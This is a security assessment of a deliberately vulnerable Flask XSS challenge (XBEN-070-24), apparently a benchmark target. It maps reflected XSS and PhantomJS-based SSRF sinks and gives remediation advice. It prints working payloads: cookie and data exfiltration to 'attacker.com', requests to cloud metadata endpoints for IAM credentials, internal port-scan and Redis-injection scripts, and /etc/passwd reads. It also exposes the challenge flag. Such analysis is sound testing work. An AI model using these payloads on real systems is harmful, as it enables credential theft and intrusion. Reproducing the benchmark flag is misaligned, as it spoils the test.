### Authentication & Authorization
- **NO AUTHENTICATION OR AUTHORIZATION FILES EXIST** - Complete absence of security controls

### API & Routing
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py` - Main Flask application
  - Line 29-31: `GET /` route (index page)
  - Line 66-73: `GET/POST /page` route (XSS challenge endpoint - PRIMARY ATTACK VECTOR)
  - Line 68: User input extraction (`request.form.get('solution','')`)
  - Line 69: Unsafe string formatting (`'> {0}'.format(msg)`)
  - Line 33-61: `check_page()` function (PhantomJS subprocess execution, temporary file creation)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/constants.py` - HTML templates and route configuration
  - Line 71: Template injection point (`<input type=text name=solution placeholder="Enter solution..." {2}>`)

### Data Models & DB Interaction
- **NO DATABASE OR DATA MODELS** - Application uses flat file storage only

### Dependency Manifests
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/requirements.txt` - Python dependencies (Flask 1.1.4, phantomjs - both critically outdated)

### Sensitive Data & Secrets Handling
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/secret.txt` - Plaintext flag storage (HIGH RISK - embedded in container image)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/.env` - Environment secrets (CRITICAL - in version control)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py` - Line 22: Flag loading (`flags = open('secret.txt').read().split()`)

### Middleware & Input Validation
- **NO INPUT VALIDATION MIDDLEWARE EXISTS**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py` - Line 58: Single instance of output encoding (`cgi.escape(result)`) - insufficient and inconsistent

### Logging & Monitoring
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py`
  - Line 15-17: Basic logging configuration (`logging.basicConfig(level=logging.INFO)`)
  - Line 41-42: Sensitive data logging (`print "Page:"`, `print page`)
  - Line 46-47: Result logging (`print "Resultado:"`, `print result`)

### Infrastructure & Deployment
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/Dockerfile` - Container build definition
  - Line 2: Python 2.7.18 base image (END-OF-LIFE)
  - Line 4-6: Debian Buster archived repositories (no security updates)
  - Line 10: PhantomJS installation (ABANDONED project)
  - Line 13-14: Environment configuration (OpenSSL config disabled - CRITICAL)
  - Line 23-25: Secret embedding in image layers (CRITICAL)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/docker-compose.yml` - Deployment configuration
  - Line 6: Build argument for FLAG (exposes secret in image metadata)
  - Line 8: Port mapping (5000 exposed to random host port)
  - Line 9-13: Health check definition (basic TCP check only)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/Makefile` - Build automation (delegates to external common.mk)

### CTF Flag Storage
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/secret.txt` - Runtime flag file (plaintext, readable by web application process)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/.env` - Build-time flag storage (LINE 1: `FLAG="flag{b74b5516-3dc3-491e-8680-a01ab52b756c}"`)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/Dockerfile` - Flag embedding mechanism (LINE 25: sed substitution in secret.txt)

### Vulnerability-Specific Files
- **XSS Vulnerability:**
  - `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py` (lines 68-73: unescaped user input in HTML)
  - `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/constants.py` (line 71: template injection point)
- **SSRF Vulnerability:**
  - `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py` (lines 33-50: PhantomJS subprocess with user-controlled HTML)
  - `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/check.js` (line 20: PhantomJS page.open() sink)
- **RCE Vulnerability (Debug Mode):**
  - `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py` (line 77: `app.run(debug=True)`)

### JavaScript & Client-Side Validation
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/check.js` - PhantomJS validation script
  - Line 4: URL input from stdin (`system.stdin.readLine()`)
  - Line 20: SSRF sink (`page.open(input, ...)`)
  - Line 8-18: JavaScript dialog detection (alert/confirm/prompt handlers)

### Static Assets (Potential Reconnaissance Value)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/static/` - Web-accessible directory (also stores temporary HTML files)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/static/css/style.css` - Main stylesheet
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/static/img/` - Image assets

---

## 9. XSS Sinks and Render Contexts

The XBEN-070-24 application contains **THREE (3) critical XSS vulnerabilities** all exploitable through the network-accessible `/page` endpoint. These vulnerabilities are intentionally present as the application is designed as an XSS exploitation challenge, but they represent genuine security flaws exploitable by external attackers.

### XSS SINK #1: Reflected XSS via HTML Attribute Injection (CRITICAL)

**Sink Type:** Reflected Cross-Site Scripting (XSS)  
**Render Context:** HTML Attribute Context (inside `<input>` tag)  
**Severity:** CRITICAL  
**Network Accessibility:** PUBLIC (no authentication required)

**Exact Location:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py`
- **Lines:** 68-73 (user input processing and response)
- **Template Definition:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/constants.py` line 71

**Data Flow:**
1. **Input Source:** User submits POST request to `/page` endpoint with `solution` parameter
2. **Extraction (Line 68):** `msg = request.form.get('solution','')` - No validation, accepts any string
3. **Unsafe Formatting (Line 69):** `value = "" if msg == "" else '> {0}'.format(msg)` - User input formatted without HTML encoding
4. **Template Injection (Line 71):** `data = CHALLENGE_CONTENT_POST.format("8", "Circle", value, "", "")` - Value injected into HTML template at position {2}
5. **Template Context (constants.py:71):** `<input type=text name=solution placeholder="Enter solution..." {2}>` - Injected directly into input tag attribute context
6. **Response (Line 73):** `return CHALLENGE_CONTENT_POST.format("8", "Circle", value, result, "")` - Unsanitized input reflected in HTTP response

**Code Snippet:**
```python
# /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py
@app.route('/page', methods=['POST', 'GET'])
def page_handler():
    msg = request.form.get('solution','')  # Line 68: UNSAFE INPUT
    value = "" if msg == "" else '> {0}'.format(msg)  # Line 69: NO ENCODING
    
    data = CHALLENGE_CONTENT_POST.format("8", "Circle", value, "", "")  # Line 71
    result = check_page(data, flags[0], msg, 'challenge_easy')  # Line 72
    return CHALLENGE_CONTENT_POST.format("8", "Circle", value, result, "")  # Line 73: REFLECTED XSS
```

**Render Context Analysis:**

The user input is injected into this template structure:
```html
<input type=text name=solution placeholder="Enter solution..." {2}>
```

Where `{2}` is replaced by the user-controlled `value` variable. This is an **HTML Attribute Context** injection, specifically within an `<input>` tag's attribute area. An attacker can break out of the intended attribute context and inject new attributes or close the tag entirely.

**Exploitation Techniques:**

1. **Event Handler Injection:**
   ```
   solution=" autofocus onfocus="alert('XSS')
   ```
   Rendered as: `<input type=text name=solution placeholder="Enter solution..." " autofocus onfocus="alert('XSS')>`
   The `autofocus` attribute causes immediate focus, triggering the `onfocus` event handler with arbitrary JavaScript.

2. **Tag Breaking:**
   ```
   solution="><script>alert(document.cookie)</script><input "
   ```
   Rendered as: `<input type=text name=solution placeholder="Enter solution..." "><script>alert(document.cookie)</script><input ">`
   Closes the input tag, injects script tag, opens dummy input tag to consume trailing characters.

3. **Attribute Context Escape:**
   ```
   solution=" onload="fetch('http://attacker.com/?cookie='+document.cookie)
   ```
   Exfiltrates cookies to attacker-controlled server.

**Security Impact:**
- **Cookie Theft:** Steal session cookies (if sessions were implemented)
- **Phishing:** Inject fake login forms or payment pages
- **Keylogging:** Capture user keystrokes via JavaScript event listeners
- **Defacement:** Modify page content arbitrarily
- **CTF Flag Extraction:** Automated exploitation to extract flags without manual interaction

---

### XSS SINK #2: Reflected XSS in Flag Disclosure HTML (HIGH)

**Sink Type:** Reflected Cross-Site Scripting (XSS) - Conditional  
**Render Context:** HTML Body Context (inside `<div>` element)  
**Severity:** HIGH  
**Network Accessibility:** PUBLIC (triggered when XSS validation succeeds)

**Exact Location:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py`
- **Line:** 56

**Data Flow:**
1. **Conditional Trigger:** Executed when `result == 'XSS'` (successful alert detection by PhantomJS)
2. **Flag Source:** `flags[0]` - loaded from secret.txt at application startup (line 22)
3. **Unsafe Formatting (Line 56):** Flag value inserted into HTML via `.format()` without HTML encoding
4. **Template Context:** Flag injected into `<div class="solution-text">` as plain HTML

**Code Snippet:**
```python
# /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py (Line 56)
if result == 'XSS':
    data = '<div class="solution-text"><img src="{0}" alt="Correct" width="150" height="150"><br>Congratulations!<p> Here is the flag: {1}</div>'.format(IMAGE_ROUTES[tag]['success'], flag)
```

**Render Context Analysis:**

The flag is injected into position `{1}` in this structure:
```html
<div class="solution-text">
    <img src="..." alt="Correct" width="150" height="150">
    <br>Congratulations!
    <p> Here is the flag: {1}
</div>
```

This is an **HTML Body Context** injection within a div element. If the flag contains HTML metacharacters or JavaScript, it will be interpreted as code rather than text.

**Exploitation Scenarios:**

**Scenario 1: Attacker-Controlled Flag (Container Compromise)**
If an attacker gains write access to `secret.txt` via another vulnerability (container escape, file write vulnerability, etc.), they could replace the flag with:
```
<script>alert('Persistent XSS')</script>
```
This would execute JavaScript in every user's browser when they successfully complete the challenge.

**Scenario 2: Flag Injection Attack**
If the flag loading mechanism at line 22 (`flags = open('secret.txt').read().split()`) is vulnerable to injection during deployment (e.g., CI/CD pipeline compromise), an attacker could inject malicious content:
```
flag{test}<img src=x onerror=alert('XSS')>
```

**Scenario 3: Future Vulnerability Chain**
If a future update introduces user-configurable flags or database-stored flags, this unencoded output becomes a critical vulnerability.

**Risk Assessment:**
- **Current Risk:** LOW in current configuration (flag is static and server-controlled)
- **Defense-in-Depth Violation:** HIGH - lack of output encoding creates risk if flag source changes
- **Future Risk:** HIGH - if flag becomes user-controllable or database-driven

**Recommended Fix:**
```python
# Proper HTML encoding
if result == 'XSS':
    import cgi
    data = '<div class="solution-text">...<p> Here is the flag: {0}</div>'.format(cgi.escape(flag))
```

---

### XSS SINK #3: Stored XSS via Temporary File Write (HIGH)

**Sink Type:** Stored Cross-Site Scripting (Temporary) + Potential Information Disclosure  
**Render Context:** Full HTML Document Context  
**Severity:** HIGH  
**Network Accessibility:** PARTIALLY (race condition window, ~5 seconds)

**Exact Location:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py`
- **Lines:** 35-50 (check_page function)

**Data Flow:**
1. **Function Call (Line 72):** `result = check_page(data, flags[0], msg, 'challenge_easy')`
2. **Parameter `data`:** Contains full HTML template with unescaped user input from `value` variable
3. **Random Filename Generation (Line 35):** `fn = "static/" + os.urandom(16).encode('hex') + '.html'`
4. **File Write (Lines 38-40):** User-controlled HTML written to web-accessible `static/` directory
5. **PhantomJS Access (Lines 34-45):** PhantomJS loads the temporary HTML file via `http://localhost:5000/` + filename
6. **File Cleanup (Line 50):** `os.unlink(fn)` in finally block deletes file after processing

**Code Snippet:**
```python
# /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py
def check_page(page, flag, msg, tag):
    proc = subprocess.Popen(["timeout","5","phantomjs", "check.js"], 
                           stdout=subprocess.PIPE, stdin=subprocess.PIPE)
    fn = "static/" + os.urandom(16).encode('hex') + '.html'  # Line 35
    url = 'http://localhost:5000/' + fn  # Line 36
    try:
        of = open(fn, 'w')  # Line 38
        of.write(page)  # Line 39: WRITES USER-CONTROLLED HTML
        of.close()
        # ... PhantomJS processing ...
    finally:
        os.unlink(fn)  # Line 50: File deleted but existed for ~5 seconds
```

**Render Context Analysis:**

The `page` parameter contains the complete HTML document from the `CHALLENGE_CONTENT_POST` template with user input embedded. This is a **Full HTML Document Context** where attackers have complete control over the HTML structure loaded by PhantomJS.

**Exploitation Techniques:**

**Attack 1: Race Condition File Access**
1. Attacker submits XSS payload
2. Application creates temporary file: `http://target:5000/static/[random32hexchars].html`
3. During the ~5-second PhantomJS processing window, attacker attempts to guess/enumerate the filename
4. If successful, attacker can access the file directly via HTTP before it's deleted

**Complexity:** 
- Filename is 32 hex characters (16 bytes of os.urandom = 2^128 possible filenames)
- Brute force impractical
- Timing attacks possible if attacker can detect file creation events

**Attack 2: PhantomJS Environment Exploitation**
The temporary HTML file is executed by PhantomJS with full JavaScript capabilities:

```html
<!-- Injected via solution parameter -->
<script>
// SSRF: Access internal network
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/', false);
xhr.send();
alert('XSS'); // Trigger success condition
</script>
```

This payload executes in the PhantomJS context (server-side) rather than the victim's browser, enabling SSRF attacks against internal networks.

**Attack 3: Information Disclosure via Filesystem**
If PhantomJS has file:// URI access (CVE-2019-17221), attacker could inject:
```html
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:///etc/passwd', false);
xhr.send();
// Exfiltrate data via alert or DOM manipulation
</script>
```

**Security Impact:**
- **SSRF:** Abuse PhantomJS to access internal networks and cloud metadata
- **Information Disclosure:** Potential file read if PhantomJS CVEs are exploitable
- **Resource Exhaustion:** Repeated submissions create file I/O overhead
- **Temporary Exposure:** Files briefly accessible via HTTP (weak protection via random naming)

---

### XSS Sinks Summary Table

| Sink # | Type | Location | Line | Render Context | Input Source | Exploitable | Severity |
|--------|------|----------|------|----------------|--------------|-------------|----------|
| 1 | Reflected XSS | app.py | 68-73 | HTML Attribute (`<input>` tag) | POST `solution` param | **YES** | CRITICAL |
| 2 | Reflected XSS | app.py | 56 | HTML Body (`<div>` element) | Flag file content | Conditional | HIGH |
| 3 | Stored XSS (Temp) | app.py | 38-40 | Full HTML Document | POST `solution` param | **YES** | HIGH |

### Additional Context: Inconsistent Security Patterns

The application demonstrates **awareness of XSS risks but inconsistent application of protections**:

**PROTECTED (Line 58):**
```python
data = '...<br>Oops! You did an alert with {1} instead of "XSS"</div>'.format(
    IMAGE_ROUTES[tag]['process'], cgi.escape(result))
```
The PhantomJS output (`result`) is properly encoded using `cgi.escape()`.

**UNPROTECTED (Lines 69, 56, 73):**
- User input `msg` is never encoded
- Flag value is never encoded
- Template output with user input is never encoded

This inconsistency suggests the developer understood XSS risks but chose to leave specific injection points vulnerable for the challenge design.

### No Other Client-Side Injection Sinks Found

**Analysis Completed:**
- **DOM-based XSS:** No client-side JavaScript manipulates DOM with user input
- **JavaScript Context Injection:** No user input injected into `<script>` tags or JavaScript strings
- **CSS Context Injection:** No user input in `<style>` tags or style attributes
- **URL Context Injection:** No user input in `location.href`, `window.open()`, or similar sinks
- **jQuery Sinks:** Application does not use jQuery
- **Template Injection (SSTI):** Application doesn't use Jinja2 templates (uses string .format() instead)

### Remediation Recommendations

If this application were to be secured (counter to its challenge purpose):

1. **Implement Output Encoding:**
   ```python
   import cgi
   value = "" if msg == "" else '> {0}'.format(cgi.escape(msg, quote=True))
   ```

2. **Use Jinja2 Templates with Auto-Escaping:**
   ```python
   from flask import render_template_string
   return render_template_string(CHALLENGE_CONTENT_POST, 
                                  circle="Circle", 
                                  value=msg,  # Auto-escaped by Jinja2
                                  result=result)
   ```

3. **Implement Content-Security-Policy Header:**
   ```python
   response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'none'"
   ```

4. **Move Temporary Files Outside Web Root:**
   ```python
   import tempfile
   with tempfile.NamedTemporaryFile(mode='w', suffix='.html', delete=False) as f:
       f.write(page)
       temp_path = f.name  # Not in static/ directory
   ```

**Conclusion:** The application contains three distinct XSS vulnerabilities, all exploitable via the publicly accessible `/page` endpoint without authentication. Sink #1 (HTML attribute injection) and Sink #3 (temporary file write) are directly exploitable by external attackers, while Sink #2 (flag disclosure) represents a defense-in-depth failure that could become exploitable in modified versions of the application.

---

## 10. SSRF Sinks

The XBEN-070-24 application contains **ONE (1) critical Server-Side Request Forgery (SSRF) vulnerability** exploitable through the network-accessible `/page` endpoint. This vulnerability enables external attackers to force the server to make arbitrary HTTP requests to internal networks, cloud metadata endpoints, and external services.

### SSRF SINK #1: PhantomJS HTML Injection Leading to Server-Side Requests (CRITICAL)

**Sink Type:** Server-Side Request Forgery (SSRF) via Headless Browser Rendering  
**Sink Category:** Headless Browsers & Render Engines (PhantomJS)  
**Severity:** CRITICAL  
**Network Accessibility:** PUBLIC (no authentication required)

**Exact Location:**

**Primary Files:**
- **Flask Handler:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py`
  - Lines 68-73: User input handling in `page_handler()` function
  - Lines 33-50: PhantomJS subprocess execution in `check_page()` function
- **PhantomJS Script:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/check.js`
  - Line 4: URL input from stdin
  - Line 20: **SSRF SINK** - `page.open(input, ...)` method

**Data Flow (Complete Attack Chain):**

1. **Entry Point (Line 68 of app.py):**
   ```python
   msg = request.form.get('solution','')
   ```
   External attacker submits POST request to `/page` with `solution` parameter containing malicious HTML.

2. **Unsafe Processing (Line 69 of app.py):**
   ```python
   value = "" if msg == "" else '> {0}'.format(msg)
   ```
   User input formatted without sanitization or validation. No HTML encoding, no tag filtering, no attribute restrictions.

3. **Template Injection (Line 71 of app.py):**
   ```python
   data = CHALLENGE_CONTENT_POST.format("8", "Circle", value, "", "")
   ```
   User-controlled `value` injected into HTML template. Template structure from constants.py line 71:
   ```html
   <input type=text name=solution placeholder="Enter solution..." {2}>
   ```
   User input is injected at position `{2}` inside the input tag's attribute context.

4. **Subprocess Invocation (Line 34 of app.py):**
   ```python
   proc = subprocess.Popen(["timeout","5","phantomjs", "check.js"], 
                          stdout=subprocess.PIPE, stdin=subprocess.PIPE)
   ```
   PhantomJS subprocess spawned with 5-second timeout. Process has full network access from server's perspective.

5. **Temporary File Creation (Lines 35-40 of app.py):**
   ```python
   fn = "static/" + os.urandom(16).encode('hex') + '.html'
   url = 'http://localhost:5000/' + fn
   of = open(fn, 'w')
   of.write(page)  # User-controlled HTML written to file
   of.close()
   ```
   Complete HTML document with user input written to web-accessible `static/` directory.

6. **URL Transmission (Line 43 of app.py):**
   ```python
   proc.stdin.write(url)  # Send URL to PhantomJS via stdin
   proc.stdin.close()
   ```
   URL passed to PhantomJS process. While the URL itself points to localhost, the HTML content is attacker-controlled.

7. **PhantomJS Processing (check.js Line 4):**
   ```javascript
   var input = system.stdin.readLine();
   ```
   PhantomJS receives URL from stdin.

8. **SSRF EXECUTION SINK (check.js Line 20):**
   ```javascript
   page.open(input, function(status) {
       if (status === "success") {
           setTimeout(function() {
               page.evaluate(function() {
                   // ... page rendering and JavaScript execution ...
               });
           }, 1000);
       }
   });
   ```
   PhantomJS opens the URL and renders the HTML page. **Critically, during rendering, PhantomJS will load all resources referenced in the HTML:**
   - `<img src="...">` tags trigger HTTP GET requests
   - `<script src="...">` tags trigger HTTP GET requests
   - `<link href="...">` tags trigger HTTP GET requests for CSS
   - `<iframe src="...">` tags trigger HTTP GET requests
   - `<object data="...">` tags trigger HTTP GET requests
   - CSS `url()` references trigger HTTP GET requests
   - JavaScript `fetch()`, `XMLHttpRequest()` execute server-side in PhantomJS

**User-Controllable Parameters:**

- **Direct Control:** `solution` POST parameter submitted to `/page` endpoint
- **Injection Method:** HTML tag injection via input attribute context breakout
- **Exploitable Sinks:** Any HTML tag or attribute that causes resource loading

**Code Snippets:**

**Vulnerable Flask Handler:**
```python
# /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py
@app.route('/page', methods=['POST', 'GET'])
def page_handler():
    msg = request.form.get('solution','')  # Line 68: UNVALIDATED INPUT
    value = "" if msg == "" else '> {0}'.format(msg)  # Line 69: NO SANITIZATION
    
    data = CHALLENGE_CONTENT_POST.format("8", "Circle", value, "", "")  # Line 71
    result = check_page(data, flags[0], msg, 'challenge_easy')  # Line 72
    return CHALLENGE_CONTENT_POST.format("8", "Circle", value, result, "")

def check_page(page, flag, msg, tag):
    proc = subprocess.Popen(["timeout","5","phantomjs", "check.js"], 
                           stdout=subprocess.PIPE, stdin=subprocess.PIPE)
    fn = "static/" + os.urandom(16).encode('hex') + '.html'
    url = 'http://localhost:5000/' + fn
    try:
        of = open(fn, 'w')
        of.write(page)  # Line 39: USER-CONTROLLED HTML TO FILE
        of.close()
        proc.stdin.write(url)  # Line 43: URL TO PHANTOMJS
        proc.stdin.close()
        result = proc.stdout.readline().strip()
        # ... result processing ...
    finally:
        os.unlink(fn)
```

**PhantomJS SSRF Sink:**
```javascript
// /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/check.js
var system = require("system");
var input = system.stdin.readLine();  // Line 4: URL input
var page = require("webpage").create();

// ... alert/confirm/prompt handlers setup ...

page.open(input, function(status) {  // Line 20: SSRF SINK
    if (status === "success") {
        setTimeout(function() {
            page.evaluate(function() {
                // Triggers rendering of HTML, loading all resources
                var elements = document.querySelectorAll('[autofocus], [onfocus]');
                if (elements.length > 0) {
                    elements[0].focus();
                }
            });
        }, 1000);
        setTimeout(function() {
            phantom.exit();
        }, 4000);
    }
});
```

**Request Destination & Internal Network Access:**

PhantomJS runs as a subprocess of the Flask application within the Docker container. From this context, PhantomJS can reach:

**✅ ACCESSIBLE TARGETS:**

1. **Internal Docker Networks:**
   - Other containers on the same Docker bridge network (default: 172.17.0.0/16)
   - Docker host gateway (typically 172.17.0.1)
   - Named container services via Docker DNS resolution

2. **Localhost Services:**
   - 127.0.0.1 / localhost on any port
   - Unix domain sockets (if accessible from PhantomJS)
   - Services running in the same container (Flask itself on port 5000)

3. **Cloud Metadata Endpoints (Critical):**
   - **AWS:** `http://169.254.169.254/latest/meta-data/` - exposes IAM credentials, instance metadata
   - **AWS IMDSv2:** May bypass SSRF protections if PhantomJS can set custom headers
   - **Google Cloud:** `http://metadata.google.internal/computeMetadata/v1/` - requires `Metadata-Flavor: Google` header
   - **Azure:** `http://169.254.169.254/metadata/instance?api-version=2021-02-01` - requires `Metadata: true` header

4. **Internal Networks (RFC1918):**
   - 10.0.0.0/8 (Class A private networks)
   - 172.16.0.0/12 (Class B private networks)
   - 192.168.0.0/16 (Class C private networks)

5. **External Internet:**
   - Any public IP address
   - Any public domain name (subject to DNS resolution)

6. **Link-Local Addresses:**
   - 169.254.0.0/16 (link-local addressing, includes cloud metadata)
   - fe80::/10 (IPv6 link-local)

**Attack Vectors & Exploitation Techniques:**

**Attack 1: AWS Metadata Exfiltration**
```http
POST /page HTTP/1.1
Host: target:5000
Content-Type: application/x-www-form-urlencoded

solution="><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">
```

**What Happens:**
1. Input breaks out of `<input>` tag with `">`
2. Injects `<img>` tag pointing to AWS metadata endpoint
3. PhantomJS renders page and loads image, triggering HTTP GET to metadata endpoint
4. If application is hosted on AWS EC2 with IAM role, this exposes:
   - AWS Access Key ID
   - AWS Secret Access Key
   - Session Token
   - Temporary credentials for the EC2 instance role

**Attack 2: Internal Service Port Scanning**
```http
POST /page HTTP/1.1
Host: target:5000
Content-Type: application/x-www-form-urlencoded

solution="><img src="http://172.17.0.1:22"><img src="http://172.17.0.1:80"><img src="http://172.17.0.1:443"><img src="http://172.17.0.1:3306"><img src="http://172.17.0.1:5432"><img src="http://172.17.0.1:6379"><img src="http://172.17.0.1:8080">
```

**What Happens:**
- Multiple `<img>` tags probe common ports on Docker host gateway
- Timing differences in PhantomJS responses reveal open ports:
  - Fast failure (connection refused) = port closed
  - Slow failure (timeout) = port filtered
  - Successful load or HTTP error = port open with HTTP service
- Enables internal network reconnaissance without direct access

**Attack 3: JavaScript-Based SSRF with Data Exfiltration**
```http
POST /page HTTP/1.1
Host: target:5000
Content-Type: application/x-www-form-urlencoded

solution="><script>var xhr=new XMLHttpRequest();xhr.open('GET','http://169.254.169.254/latest/meta-data/iam/security-credentials/',false);xhr.send();alert('XSS');</script><input "
```

**What Happens:**
1. Breaks out of input tag with `">`
2. Injects script tag with synchronous XMLHttpRequest
3. PhantomJS executes JavaScript server-side (not in victim's browser)
4. XHR fetches AWS metadata
5. Alert triggers XSS validation success
6. Attacker receives flag in response, metadata is in PhantomJS memory (could be exfiltrated via DOM manipulation in more sophisticated payloads)

**Attack 4: Redis/Memcached Protocol Injection**
```http
POST /page HTTP/1.1
Host: target:5000
Content-Type: application/x-www-form-urlencoded

solution="><script>fetch('http://172.17.0.1:6379',{method:'POST',body:'INFO\r\n'})</script><input "
```

**What Happens:**
- If Redis is running on Docker host without authentication (common misconfiguration)
- PhantomJS sends Redis commands via HTTP POST body
- Could be used to extract Redis keys, write data, or achieve RCE via Redis module loading

**Attack 5: SSRF to Attacker-Controlled Server (Data Exfiltration)**
```http
POST /page HTTP/1.1
Host: target:5000
Content-Type: application/x-www-form-urlencoded

solution="><img src="http://attacker.com/collect?data=probing"><script>fetch('http://attacker.com/exfil?metadata='+btoa(document.body.innerHTML))</script><input "
```

**What Happens:**
- PhantomJS makes outbound connection to attacker-controlled server
- Attacker receives:
  - Confirmation that SSRF vulnerability exists
  - Server's external IP address (from HTTP request source)
  - Timing information for port scanning
  - Potentially exfiltrated internal data if combined with metadata fetching

**Attack 6: DNS Exfiltration**
```http
POST /page HTTP/1.1
Host: target:5000
Content-Type: application/x-www-form-urlencoded

solution="><img src="http://exfil-[DATA].attacker.com">
```

**What Happens:**
- PhantomJS attempts DNS resolution for `exfil-[DATA].attacker.com`
- Attacker's DNS server logs the query, receiving data embedded in subdomain
- Useful for exfiltrating small amounts of data even if HTTP responses are not observable

**Severity Assessment:**

**CVSS 3.1 Analysis:**
- **Attack Vector (AV):** Network (N) - exploitable via HTTP POST from internet
- **Attack Complexity (AC):** Low (L) - no special conditions required
- **Privileges Required (PR):** None (N) - no authentication required
- **User Interaction (UI):** None (N) - server-side exploitation
- **Scope (S):** Changed (C) - impacts resources beyond the vulnerable application (internal networks)
- **Confidentiality Impact (C):** High (H) - access to cloud metadata, internal services, sensitive data
- **Integrity Impact (I):** Low (L) - can potentially modify data in internal services (Redis, etc.)
- **Availability Impact (A):** Low (L) - can potentially DoS internal services

**Estimated CVSS Score:** 9.3 (Critical)

**Justification for CRITICAL Severity:**

1. **No Authentication Required:** Public endpoint, no credentials needed
2. **Internal Network Access:** Bypass of network segmentation and firewalls
3. **Cloud Metadata Exposure:** Direct path to AWS/GCP/Azure credentials
4. **Privilege Escalation:** Cloud credentials enable infrastructure compromise beyond application
5. **Data Exfiltration:** Access to internal databases, caches, configuration services
6. **Reconnaissance:** Port scanning and service enumeration of internal networks
7. **Lateral Movement:** Compromised metadata credentials enable attacks on other cloud resources

**Proof of Concept (Minimal):**

```bash
#!/bin/bash
# SSRF PoC - AWS Metadata Exfiltration

TARGET="http://localhost:5000"

curl -X POST "$TARGET/page" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'solution="><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">'

# Expected: PhantomJS attempts to load image from AWS metadata endpoint
# If on AWS EC2, this exposes IAM role credentials
```

**Advanced PoC (Port Scanning):**

```bash
#!/bin/bash
# SSRF PoC - Internal Port Scanning

TARGET="http://localhost:5000"
INTERNAL_HOST="172.17.0.1"

for PORT in 22 80 443 3306 5432 6379 8080 8443 9200; do
    echo "[*] Scanning port $PORT..."
    
    START=$(date +%s%N)
    curl -X POST "$TARGET/page" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      -d "solution=\"><img src=\"http://$INTERNAL_HOST:$PORT\">" \
      -o /dev/null -s -w "%{http_code}\n"
    END=$(date +%s%N)
    
    DURATION=$(( ($END - $START) / 1000000 ))
    echo "[*] Port $PORT response time: ${DURATION}ms"
done
```

### Additional SSRF Context

**PhantomJS CVE Exploitation via SSRF:**

PhantomJS contains multiple known vulnerabilities that could be exploited through this SSRF:

1. **CVE-2019-17221 (Arbitrary File Read):**
   ```http
   solution="><iframe src="file:///etc/passwd"></iframe><input "
   ```
   If PhantomJS allows file:// URLs (it does in many configurations), this could read local files.

2. **CVE-2018-11574 (XSS in PhantomJS):**
   Malicious HTML injected via SSRF could exploit PhantomJS rendering vulnerabilities to escape sandbox.

**Limitations & Mitigations (Currently Absent):**

**What DOES NOT Protect:**
- ❌ No URL validation on user input
- ❌ No allowlist of permitted domains
- ❌ No blocklist of RFC1918/link-local addresses
- ❌ No network segmentation (PhantomJS has full network access)
- ❌ No egress filtering at container level
- ❌ No AWS IMDSv2 enforcement (if on AWS)
- ❌ No HTTP header restrictions (PhantomJS can set arbitrary headers)

**What DOES Provide Minimal Protection:**
- ✅ 5-second timeout limits duration of SSRF requests (but doesn't prevent them)
- ✅ Random filename prevents direct web access to temporary HTML (but PhantomJS still loads it)

### No Other SSRF Sinks Found

**Comprehensive Search Completed:**

**HTTP Clients:**
- ❌ No `requests`, `urllib`, `urllib2`, `httplib` usage in application code
- ✅ `urllib` imported at line 9 of app.py but never used (dead code)

**Raw Sockets:**
- ❌ No `socket.connect`, `socket.socket` usage

**URL Openers:**
- ❌ No `file_get_contents`, `fopen`, `urlopen` usage

**Redirect Handlers:**
- ❌ No `response.redirect` with user-controlled URLs
- ❌ No "return URL" or "next" parameters

**Media Processors:**
- ❌ No ImageMagick, FFmpeg, wkhtmltopdf usage (only PhantomJS)

**Link Preview/Unfurlers:**
- ❌ No link preview functionality

**Webhooks:**
- ❌ No webhook testing or callback verification features

**SSO/OIDC:**
